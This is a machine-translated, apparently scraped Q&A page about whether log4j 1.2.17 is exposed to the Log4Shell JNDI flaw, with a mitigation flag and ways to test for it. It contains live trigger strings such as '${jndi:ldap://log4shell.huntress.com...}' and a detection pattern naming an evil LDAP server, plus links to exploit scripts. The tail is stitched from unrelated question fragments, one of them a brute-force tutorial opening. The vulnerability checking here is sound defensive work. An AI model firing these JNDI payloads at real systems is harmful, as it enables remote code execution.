正如我们在新闻中看到的,针对流行的Log4J2
库报告了一个新的零日漏洞,该漏洞允许攻击者远程执行代码。在我们的应用程序中,我们仍然使用以下log4j
依赖项。
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
是否仅针对log4j2
报告该问题?或适用于1.2。17
版本是否也是?是否有测试该漏洞的示例代码?
不,该漏洞是Log4j2的一个特殊功能,称为“查找”。
以${xxx:yyy}
格式到达日志引擎的每个序列都会被解析和处理。即使记录的是用户的输入。即使该输入被注入到异常消息中——例如,如果您记录堆栈跟踪,并且异常是parse exception。
通过在没有沙箱的情况下将记录器输入输入到解析器中,他们引入了一个新的攻击面,该攻击面尖叫着要被利用,这最终发生了。
根据log4j2团队的说法,通过在java命令中添加参数,可以关闭设计不良的功能:
-Dlog4j2.formatMsgNoLookups=true
其他不包含这种疯狂特性的框架不会受到影响,希望它们都能得到安全审计。
原来的Log4j项目已经不支持了,原来的开发者已经开始Logback项目了,所以如果要切换到Log4j,需要带Logback。
检查此问题:log4j漏洞-是log4j1。2.17易受攻击(在源代码中找不到任何jndi代码)?
更新(2021-12-12 10:09 JST):根据@TopStreamsNet的分析,严格来说,应用程序使用Log4j 1。如果他们的配置使用JNDI,x可能会受到影响。然而,风险要低得多。注意log4j1。x是生命的终结,并且具有其他无法修复的安全漏洞。因此,我们不建议使用log4j1。x作为一种避免此安全漏洞的方法。建议升级到2.15。0
这是:
https://github.com/apache/logging-log4j2/pull/608#issuecomment-991723301 log4j 1。x版本仍然可能容易受到此问题的攻击,但只有当jms配置:TopicBindingName或TopicConnectionFactoryBindingName设置为JNDI可以处理的内容时,才会受到攻击—例如“ldap://host:port/a这样,JNDI将完全和2。x的情况相同。也就是说,1。x是脆弱的,只是攻击向量是“更安全的”,因为它取决于配置而不是用户输入。
是否有测试该漏洞的示例代码?
您可以使用这个在线工具来测试您的应用程序:https://log4shell.huntress.com/
只要将这一行添加到您要测试的应用程序中,如果它具有漏洞:
logger.error("${jndi:ldap://log4shell.huntress.com:1389/<your-unique-identifier-from-log4shell.huntress.com>}");
然后运行服务器并通过单击“查看连接”检查是否向该工具发送了请求。
您还可以使用以下python脚本测试该漏洞:
https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
如果攻击已经发生,请检查日志:
https://gist.html" target="_blank">github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
或者只检查日志中包含${jndi:ldap:
或${jndi:
的字符串,如下所示:
${jndi:ldap://<some_evil_server.com/evil-code.class...}
下面是一个存在漏洞的Java应用程序示例:
https://github.com/0x0021h/apache-log4j-rce
我对它进行了测试,在运行应用程序的日志中,我没有看到太多有趣的事情:
但是在我运行在127.0.0.1:8080
上的另一台服务器上,我看到出现了以下日志,所以日志语句触发了超文本传输协议请求(我也用log4shell.huntress.com工具测试了它,连接出现在那里。):
16:48:44.338 [http-nio-8080-exec-1] INFO o.a.coyote.http11.Http11Processor - Error parsing HTTP request header
Note: further occurrences of HTTP request parsing errors will be logged at DEBUG level.
java.lang.IllegalArgumentException: Invalid character found in method name [00x0c0x020x010x01`0x070x020x010x030x040x000x800x00...]. HTTP method names must be tokens
at org.apache.coyote.http11.Http11InputBuffer.parseRequestLine(Http11InputBuffer.java:419)
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:269)
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65)
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:893)
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1723)
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
at java.base/java.lang.Thread.run(Thread.java:834)
关于已经在CVE-2021-44228发现的Log4j JNDI远程代码执行漏洞-(另见参考文献)-我想知道Log4j-v1.2是否也受到影响,但是我从源代码审查中得到的最接近的是JMS-Appender。 问题是,虽然互联网上的帖子表明Log4j 1.2也存在漏洞,但我找不到相关的源代码。 我是否遗漏了其他人已经确认的东西? Log4j 1.2在socket server类中似乎有一个漏洞,但我
如何检测SonarQube LTS 8.2版本中的log4j漏洞。 我尝试了这个社区参考,但是找不到8.2版本的。 https://community.sonarsource.com/t/sonarqube-sonarcloud-and-the-log4j-vulnerability/54721
是否存在一种“内部安全应用程序”场景,其中由于早期的Log4J版本,软件比没有它时更容易受到攻击? 我在下面概述了这个问题的一些细节。 我正在做一些工作来减轻最近Log4J漏洞的风险。我知道有一些方法涉及从组织的所有计算机、服务器、远程桌面等中删除早期Log4J jar文件的所有痕迹,在完成之前,组织被视为“处于危险之中”。然而,我也想知道如此大规模的全面努力支出是否相称[编辑22-12月21日1
讲师:gh0stkey 整理:飞龙 协议:CC BY-NC-SA 4.0 任意密码找回 这是补天平台上的一个案例: http://www.118114.cn/reg.jsp 首先注册一个账号,然后找回。 我们收到的验证码是六位数。如果网站没有设置频率限制,或者最大尝试次数限制的话,那我们自然就会想到可以爆破它。 然后抓提交手机验证码的封包,我们可以看到没有任何图片验证码: 发送到 Burp 的 I
我使用的是带有Scala 2.12的Databricks群集版本7.3 LTS。这个版本确实使用Log4J。 官方文件说它使用Log4J版本。这是否意味着我没有这个漏洞?如果我这样做了,我可以在集群上手动修补它,还是需要将集群升级到下一个LTS版本?
如何确认elasticsearch版本是否暴露log4j漏洞?我的elasticsearch版本是6.8.4